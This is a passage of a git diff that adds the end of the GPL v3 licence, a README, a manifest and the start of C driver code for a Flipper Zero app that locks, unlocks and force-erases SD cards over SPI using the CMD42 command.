+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.

+ 33 - 0
non_catalog_apps/sd_spi/README.md

@@ -0,0 +1,33 @@
+# Flipperzero-SD-SPI
+Flipper Zero FAP for Lock and Unlock SD card / Micro SD card through SPI protocol (CMD42).
+
+<p align="center">
+<img src="SDSPI.gif" />
+</p>
+
+## Pinout ##
+
+Without Flipper Zero SDBoard the SD card it must be connected as in the table below
+
+Flipper Zero  | SD Card
+------------- | -------------
+9/3.3V  | +3.3V
+8/GND  | GND
+2/A7  | Mosi
+3/A6  | Miso
+4/A4  | CS
+5/B3  | SCK
+
+<p align="center">
+<img src="scheme.png" />
+</p>
+
+## Usage ##
+
+Whenever an sd card is connected it is required make a "Init", if the operation is successul in the "status" tab R1 is "NO ERROR" and it is possible execute other commands.
+
+"Lock" and "Unlock" work with password set in namesake tab.
+
+Force Erase allow the removal of unknown password from SD but erases all content.
+
+After the first save, the password is stored in apps_data/sdspi/pwd.txt. you can change it to use characters not found on the flipper keyboard.

+ 14 - 0
non_catalog_apps/sd_spi/application.fam

@@ -0,0 +1,14 @@
+App(
+    appid="sd_spi_app",  # Must be unique
+    name="SD SPI",  # Displayed in menus
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="sd_spi_app",
+    stack_size=2 * 1024,
+    fap_category="GPIO",
+    # Optional values
+    # fap_version=(0, 2),  # (major, minor)
+    fap_icon="sd_spi_app_10px.png",  # 10x10 1-bit PNG
+    fap_description="SD SPI Lock Management",
+    # fap_weburl="https://github.com/Gl1tchub/Flipperzero-SD-SPI",
+    # fap_icon_assets="images",  # Image assets to compile for this application
+)

+ 969 - 0
non_catalog_apps/sd_spi/sd_spi.c

@@ -0,0 +1,969 @@
+#include "sd_spi.h"
+// #include "sector_cache.h"
+#include <furi.h>
+#include <furi_hal.h>
+#include <furi/core/core_defines.h>
+
+#define SD_SPI_DEBUG 1
+#define TAG "SdSpi"
+
+#ifdef SD_SPI_DEBUG
+#define sd_spi_debug(...) FURI_LOG_I(TAG, __VA_ARGS__)
+#else
+#define sd_spi_debug(...)
+#endif
+
+#define LOCK_UNLOCK_ATTEMPS 3
+#define SD_CMD_LENGTH 6
+#define SD_DUMMY_BYTE 0xFF
+#define SD_ANSWER_RETRY_COUNT 8
+#define SD_IDLE_RETRY_COUNT 100
+
+#define FLAG_SET(x, y) (((x) & (y)) == (y))
+FuriHalSpiBusHandle* furi_hal_sd_spi_handle = NULL;
+
+static bool sd_high_capacity = false;
+SdSpiCmdAnswer cmd_answer = {
+    .r1 = SD_DUMMY_BYTE,
+    .r2 = SD_DUMMY_BYTE,
+    .r3 = SD_DUMMY_BYTE,
+    .r4 = SD_DUMMY_BYTE,
+    .r5 = SD_DUMMY_BYTE,
+};
+
+typedef enum {
+    SdSpiDataResponceOK = 0x05,
+    SdSpiDataResponceCRCError = 0x0B,
+    SdSpiDataResponceWriteError = 0x0D,
+    SdSpiDataResponceOtherError = 0xFF,
+} SdSpiDataResponce;
+
+typedef enum {
+    SdSpiCmdAnswerTypeR1,
+    SdSpiCmdAnswerTypeR1B,
+    SdSpiCmdAnswerTypeR2,
+    SdSpiCmdAnswerTypeR3,
+    SdSpiCmdAnswerTypeR4R5,
+    SdSpiCmdAnswerTypeR7,
+} SdSpiCmdAnswerType;
+
+typedef enum {
+    SD_CMD0_GO_IDLE_STATE = 0,
+    SD_CMD1_SEND_OP_COND = 1,
+    SD_CMD8_SEND_IF_COND = 8,
+    SD_CMD9_SEND_CSD = 9,
+    SD_CMD10_SEND_CID = 10,
+    SD_CMD12_STOP_TRANSMISSION = 12,
+    SD_CMD13_SEND_STATUS = 13,
+    SD_CMD16_SET_BLOCKLEN = 16,
+    SD_CMD17_READ_SINGLE_BLOCK = 17,
+    SD_CMD18_READ_MULT_BLOCK = 18,
+    SD_CMD23_SET_BLOCK_COUNT = 23,
+    SD_CMD24_WRITE_SINGLE_BLOCK = 24,
+    SD_CMD25_WRITE_MULT_BLOCK = 25,
+    SD_CMD27_PROG_CSD = 27,
+    SD_CMD28_SET_WRITE_PROT = 28,
+    SD_CMD29_CLR_WRITE_PROT = 29,
+    SD_CMD30_SEND_WRITE_PROT = 30,
+    SD_CMD32_SD_ERASE_GRP_START = 32,
+    SD_CMD33_SD_ERASE_GRP_END = 33,
+    SD_CMD34_UNTAG_SECTOR = 34,
+    SD_CMD35_ERASE_GRP_START = 35,
+    SD_CMD36_ERASE_GRP_END = 36,
+    SD_CMD37_UNTAG_ERASE_GROUP = 37,
+    SD_CMD38_ERASE = 38,
+    SD_CMD41_SD_APP_OP_COND = 41,
+    SD_CMD42_LOCK_UNLOCK = 42,
+    SD_CMD55_APP_CMD = 55,
+    SD_CMD58_READ_OCR = 58,
+} SdSpiCmd;
+
+/** Data tokens */
+typedef enum {
+    SD_TOKEN_START_DATA_SINGLE_BLOCK_READ = 0xFE,
+    SD_TOKEN_START_DATA_MULTIPLE_BLOCK_READ = 0xFE,
+    SD_TOKEN_START_DATA_SINGLE_BLOCK_WRITE = 0xFE,
+    SD_TOKEN_START_DATA_MULTIPLE_BLOCK_WRITE = 0xFC,
+    SD_TOKEN_STOP_DATA_MULTIPLE_BLOCK_WRITE = 0xFD,
+} SdSpiToken;
+
+
+static inline void sd_spi_select_card() {
+    furi_hal_gpio_write(furi_hal_sd_spi_handle->cs, false);
+    furi_delay_us(10); // Entry guard time for some SD cards
+}
+
+static inline void sd_spi_deselect_card() {
+    furi_delay_us(10); // Exit guard time for some SD cards
+    furi_hal_gpio_write(furi_hal_sd_spi_handle->cs, true);
+}
+
+// void sd_bytes_debug(uint8_t* bytes, size_t size){
+//   char out[size];
+//   for(size_t i = 0; i < size; i++)
+//     snprintf(out+i*3, 255, "%02x ", bytes[i]);
+//   FURI_LOG_T(TAG, out);
+// }
+// void sd_byte_debug(uint8_t byte){
+//   char out[3];
+//   snprintf(out, 255, "%02x ", byte);
+//   FURI_LOG_T(TAG, out);
+// }
+
+static void sd_spi_bus_to_ground() {
+    furi_hal_gpio_init_ex(
+        furi_hal_sd_spi_handle->miso,
+        GpioModeOutputPushPull,
+        GpioPullNo,
+        GpioSpeedVeryHigh,
+        GpioAltFnUnused);
+    furi_hal_gpio_init_ex(
+        furi_hal_sd_spi_handle->mosi,
+        GpioModeOutputPushPull,
+        GpioPullNo,
+        GpioSpeedVeryHigh,
+        GpioAltFnUnused);
+    furi_hal_gpio_init_ex(
+        furi_hal_sd_spi_handle->sck,
+        GpioModeOutputPushPull,
+        GpioPullNo,
+        GpioSpeedVeryHigh,
+        GpioAltFnUnused);
+
+    sd_spi_select_card();
+    furi_hal_gpio_write(furi_hal_sd_spi_handle->miso, false);
+    furi_hal_gpio_write(furi_hal_sd_spi_handle->mosi, false);
+    furi_hal_gpio_write(furi_hal_sd_spi_handle->sck, false);
+}
+
+static void sd_spi_bus_rise_up() {
+    sd_spi_deselect_card();
+
+    furi_hal_gpio_init_ex(
+        furi_hal_sd_spi_handle->miso,
+        GpioModeAltFunctionPushPull,
+        GpioPullUp,
+        GpioSpeedVeryHigh,
+        GpioAltFn5SPI2);
+    furi_hal_gpio_init_ex(
+        furi_hal_sd_spi_handle->mosi,
+        GpioModeAltFunctionPushPull,
+        GpioPullUp,
+        GpioSpeedVeryHigh,
+        GpioAltFn5SPI2);
+    furi_hal_gpio_init_ex(
+        furi_hal_sd_spi_handle->sck,
+        GpioModeAltFunctionPushPull,
+        GpioPullUp,
+        GpioSpeedVeryHigh,
+        GpioAltFn5SPI2);
+}
+
+static inline uint8_t sd_spi_read_byte(void) {
+    uint8_t responce;
+    furi_check(furi_hal_spi_bus_trx(furi_hal_sd_spi_handle, NULL, &responce, 1, SD_TIMEOUT_MS));
+    return responce;
+}
+
+static inline void sd_spi_write_byte(uint8_t data) {
+    furi_check(furi_hal_spi_bus_trx(furi_hal_sd_spi_handle, &data, NULL, 1, SD_TIMEOUT_MS));
+}
+
+static inline uint8_t sd_spi_write_and_read_byte(uint8_t data) {
+    uint8_t responce;
+    furi_check(furi_hal_spi_bus_trx(furi_hal_sd_spi_handle, &data, &responce, 1, SD_TIMEOUT_MS));
+    return responce;
+}
+
+static inline void sd_spi_write_bytes(uint8_t* data, uint32_t size) {
+    furi_check(furi_hal_spi_bus_trx(furi_hal_sd_spi_handle, data, NULL, size, SD_TIMEOUT_MS));
+}
+
+static inline void sd_spi_read_bytes(uint8_t* data, uint32_t size) {
+    furi_check(furi_hal_spi_bus_trx(furi_hal_sd_spi_handle, NULL, data, size, SD_TIMEOUT_MS));
+}
+
+static inline void sd_spi_write_bytes_dma(uint8_t* data, uint32_t size) {
+
+    uint32_t timeout_mul = (size / 512) + 1;
+    furi_check(furi_hal_spi_bus_trx_dma(
+        furi_hal_sd_spi_handle, data, NULL, size, SD_TIMEOUT_MS * timeout_mul));
+}
+
+static inline void sd_spi_read_bytes_dma(uint8_t* data, uint32_t size) {
+    uint32_t timeout_mul = (size / 512) + 1;
+    furi_check(furi_hal_spi_bus_trx_dma(
+        furi_hal_sd_spi_handle, NULL, data, size, SD_TIMEOUT_MS * timeout_mul));
+}
+
+static uint8_t sd_spi_wait_for_data_and_read(void) {
+    uint8_t retry_count = SD_ANSWER_RETRY_COUNT;
+    uint8_t responce;
+
+    // Wait until we get a valid data
+    do {
+        responce = sd_spi_read_byte();
+        retry_count--;
+
+    } while((responce == SD_DUMMY_BYTE) && retry_count);
+
+    return responce;
+}
+
+static SdSpiStatus sd_spi_wait_for_data(uint8_t data, uint32_t timeout_ms) {
+    FuriHalCortexTimer timer = furi_hal_cortex_timer_get(timeout_ms * 1000);
+    uint8_t byte;
+
+    do {
+        byte = sd_spi_read_byte();
+        if(furi_hal_cortex_timer_is_expired(timer)) {
+            return SdSpiStatusTimeout;
+        }
+    } while((byte != data));
+
+    return SdSpiStatusOK;
+}
+
+static inline void sd_spi_deselect_card_and_purge() {
+    sd_spi_deselect_card();
+    sd_spi_read_byte();
+}
+
+static inline void sd_spi_purge_crc() {
+    sd_spi_read_byte();
+    sd_spi_read_byte();
+}
+
+static SdSpiCmdAnswer
+    sd_spi_send_cmd(SdSpiCmd cmd, uint32_t arg, uint8_t crc, SdSpiCmdAnswerType answer_type) {
+    uint8_t frame[SD_CMD_LENGTH];
+
+    cmd_answer.r1 = SD_DUMMY_BYTE;
+    cmd_answer.r2 = SD_DUMMY_BYTE;
+    cmd_answer.r3 = SD_DUMMY_BYTE;
+    cmd_answer.r4 = SD_DUMMY_BYTE;
+    cmd_answer.r5 = SD_DUMMY_BYTE;
+
+    frame[0] = ((uint8_t)cmd | 0x40);
+    frame[1] = (uint8_t)(arg >> 24);
+    frame[2] = (uint8_t)(arg >> 16);
+    frame[3] = (uint8_t)(arg >> 8);
+    frame[4] = (uint8_t)(arg);
+    frame[5] = (crc | 0x01);
+
+    sd_spi_select_card();
+    sd_spi_write_bytes(frame, sizeof(frame));
+
+    switch(answer_type) {
+    case SdSpiCmdAnswerTypeR1:
+        cmd_answer.r1 = sd_spi_wait_for_data_and_read();
+        break;
+    case SdSpiCmdAnswerTypeR1B:
+        cmd_answer.r1 = sd_spi_wait_for_data_and_read();
+
+        // reassert card
+        sd_spi_deselect_card();
+        furi_delay_us(1000);
+        sd_spi_deselect_card();
+
+        // and wait for it to be ready
+        while(sd_spi_read_byte() != 0xFF) {
+        };
+
+        break;
+    case SdSpiCmdAnswerTypeR2:
+        cmd_answer.r1 = sd_spi_wait_for_data_and_read();
+        cmd_answer.r2 = sd_spi_read_byte();
+        break;
+    case SdSpiCmdAnswerTypeR3:
+    case SdSpiCmdAnswerTypeR7:
+        cmd_answer.r1 = sd_spi_wait_for_data_and_read();
+        cmd_answer.r2 = sd_spi_read_byte();
+        cmd_answer.r3 = sd_spi_read_byte();
+        cmd_answer.r4 = sd_spi_read_byte();
+        cmd_answer.r5 = sd_spi_read_byte();
+        break;
+    default:
+        break;
+    }
+    return cmd_answer;
+}
+
+static SdSpiDataResponce sd_spi_get_data_response(uint32_t timeout_ms) {
+    SdSpiDataResponce responce = sd_spi_read_byte();
+    // read busy response byte
+    sd_spi_read_byte();
+
+    switch(responce & 0x1F) {
+    case SdSpiDataResponceOK:
+        // TODO: check timings
+        sd_spi_deselect_card();
+        sd_spi_select_card();
+
+        // wait for 0xFF
+        if(sd_spi_wait_for_data(0xFF, timeout_ms) == SdSpiStatusOK) {
+            return SdSpiDataResponceOK;
+        } else {
+            return SdSpiDataResponceOtherError;
+        }
+    case SdSpiDataResponceCRCError:
+        return SdSpiDataResponceCRCError;
+    case SdSpiDataResponceWriteError:
+        return SdSpiDataResponceWriteError;
+    default:
+        return SdSpiDataResponceOtherError;
+    }
+}
+
+static SdSpiStatus sd_spi_init_spi_mode_v1(void) {
+    SdSpiCmdAnswer response;
+    uint8_t retry_count = 0;
+
+    sd_spi_debug("Init SD card in SPI mode v1");
+
+    do {
+        retry_count++;
+
+        // CMD55 (APP_CMD) before any ACMD command: R1 response (0x00: no errors)
+        sd_spi_send_cmd(SD_CMD55_APP_CMD, 0, 0xFF, SdSpiCmdAnswerTypeR1);
+        sd_spi_deselect_card_and_purge();
+
+        // ACMD41 (SD_APP_OP_COND) to initialize SDHC or SDXC cards: R1 response (0x00: no errors)
+        response = sd_spi_send_cmd(SD_CMD41_SD_APP_OP_COND, 0, 0xFF, SdSpiCmdAnswerTypeR1);
+        sd_spi_deselect_card_and_purge();
+
+        if(retry_count >= SD_IDLE_RETRY_COUNT) {
+            return SdSpiStatusError;
+        }
+    } while(response.r1 == SdSpi_R1_IN_IDLE_STATE);
+
+    sd_spi_debug("Init SD card in SPI mode v1 done");
+
+    return SdSpiStatusOK;
+}
+
+static SdSpiStatus sd_spi_init_spi_mode_v2(void) {
+    SdSpiCmdAnswer response;
+    uint8_t retry_count = 0;
+
+    sd_spi_debug("Init SD card in SPI mode v2");
+
+    do {
+        retry_count++;
+        // CMD55 (APP_CMD) before any ACMD command: R1 response (0x00: no errors)
+        sd_spi_send_cmd(SD_CMD55_APP_CMD, 0, 0xFF, SdSpiCmdAnswerTypeR1);
+        sd_spi_deselect_card_and_purge();
+
+        // ACMD41 (APP_OP_COND) to initialize SDHC or SDXC cards: R1 response (0x00: no errors)
+        response =
+            sd_spi_send_cmd(SD_CMD41_SD_APP_OP_COND, 0x40000000, 0xFF, SdSpiCmdAnswerTypeR1);
+        sd_spi_deselect_card_and_purge();
+
+        if(retry_count >= SD_IDLE_RETRY_COUNT) {
+            sd_spi_debug("ACMD41 failed");
+            return SdSpiStatusError;
+        }
+    } while(response.r1 == SdSpi_R1_IN_IDLE_STATE);
+
+    if(FLAG_SET(response.r1, SdSpi_R1_ILLEGAL_COMMAND)) {
+        sd_spi_debug("ACMD41 is illegal command");
+        retry_count = 0;
+        do {
+            retry_count++;
+            // CMD55 (APP_CMD) before any ACMD command: R1 response (0x00: no errors)
+            response = sd_spi_send_cmd(SD_CMD55_APP_CMD, 0, 0xFF, SdSpiCmdAnswerTypeR1);
+            sd_spi_deselect_card_and_purge();
+
+            if(response.r1 != SdSpi_R1_IN_IDLE_STATE) {
+                sd_spi_debug("CMD55 failed");
+                return SdSpiStatusError;
+            }
+            // ACMD41 (SD_APP_OP_COND) to initialize SDHC or SDXC cards: R1 response (0x00: no errors)
+            response = sd_spi_send_cmd(SD_CMD41_SD_APP_OP_COND, 0, 0xFF, SdSpiCmdAnswerTypeR1);
+            sd_spi_deselect_card_and_purge();
+
+            if(retry_count >= SD_IDLE_RETRY_COUNT) {
+                sd_spi_debug("ACMD41 failed");
+                return SdSpiStatusError;
+            }
+        } while(response.r1 == SdSpi_R1_IN_IDLE_STATE);
+    }
+
+    sd_spi_debug("Init SD card in SPI mode v2 done");
+
+    return SdSpiStatusOK;
+}
+
+static SdSpiStatus sd_spi_init_spi_mode(void) {
+    SdSpiCmdAnswer response;
+    uint8_t retry_count;
+
+    // CMD0 (GO_IDLE_STATE) to put SD in SPI mode and
+    // wait for In Idle State Response (R1 Format) equal to 0x01
+    retry_count = 0;
+    do {
+        retry_count++;
+        response = sd_spi_send_cmd(SD_CMD0_GO_IDLE_STATE, 0, 0x95, SdSpiCmdAnswerTypeR1);
+        sd_spi_deselect_card_and_purge();
+
+        if(retry_count >= SD_IDLE_RETRY_COUNT) {
+            sd_spi_debug("CMD0 failed");
+            return SdSpiStatusError;
+        }
+    } while(response.r1 != SdSpi_R1_IN_IDLE_STATE);
+
+    // CMD8 (SEND_IF_COND) to check the power supply status
+    // and wait until response (R7 Format) equal to 0xAA and
+    response = sd_spi_send_cmd(SD_CMD8_SEND_IF_COND, 0x1AA, 0x87, SdSpiCmdAnswerTypeR7);
+    sd_spi_deselect_card_and_purge();
+
+    if(FLAG_SET(response.r1, SdSpi_R1_ILLEGAL_COMMAND)) {
+        if(sd_spi_init_spi_mode_v1() != SdSpiStatusOK) {
+            sd_spi_debug("Init mode v1 failed");
+            return SdSpiStatusError;
+        }
+        sd_high_capacity = 0;
+    } else if(response.r1 == SdSpi_R1_IN_IDLE_STATE) {
+        if(sd_spi_init_spi_mode_v2() != SdSpiStatusOK) {
+            sd_spi_debug("Init mode v2 failed");
+            return SdSpiStatusError;
+        }
+
+        // CMD58 (READ_OCR) to initialize SDHC or SDXC cards: R3 response
+        response = sd_spi_send_cmd(SD_CMD58_READ_OCR, 0, 0xFF, SdSpiCmdAnswerTypeR3);
+        sd_spi_deselect_card_and_purge();
+
+        if(response.r1 != SdSpi_R1_NO_ERROR) {
+            sd_spi_debug("CMD58 failed");
+            return SdSpiStatusError;
+        }
+        sd_high_capacity = (response.r2 & 0x40) >> 6;
+    } else {
+        return SdSpiStatusError;
+    }
+
+    sd_spi_debug("SD card is %s", sd_high_capacity ? "SDHC or SDXC" : "SDSC");
+    return SdSpiStatusOK;
+}
+
+static SdSpiStatus sd_spi_get_csd(SD_CSD* csd) {
+    uint16_t counter = 0;
+    uint8_t csd_data[16];
+    SdSpiStatus ret = SdSpiStatusError;
+    SdSpiCmdAnswer response;
+
+    // CMD9 (SEND_CSD): R1 format (0x00 is no errors)
+    response = sd_spi_send_cmd(SD_CMD9_SEND_CSD, 0, 0xFF, SdSpiCmdAnswerTypeR1);
+
+    if(response.r1 == SdSpi_R1_NO_ERROR) {
+        if(sd_spi_wait_for_data(SD_TOKEN_START_DATA_SINGLE_BLOCK_READ, SD_TIMEOUT_MS) ==
+           SdSpiStatusOK) {
+            // read CSD data
+            for(counter = 0; counter < 16; counter++) {
+                csd_data[counter] = sd_spi_read_byte();
+            }
+
+            sd_spi_purge_crc();
+
+            /*************************************************************************
+            CSD header decoding
+            *************************************************************************/
+
+            csd->CSDStruct = (csd_data[0] & 0xC0) >> 6;
+            csd->Reserved1 = csd_data[0] & 0x3F;
+            csd->TAAC = csd_data[1];
+            csd->NSAC = csd_data[2];
+            csd->MaxBusClkFrec = csd_data[3];
+            csd->CardComdClasses = (csd_data[4] << 4) | ((csd_data[5] & 0xF0) >> 4);
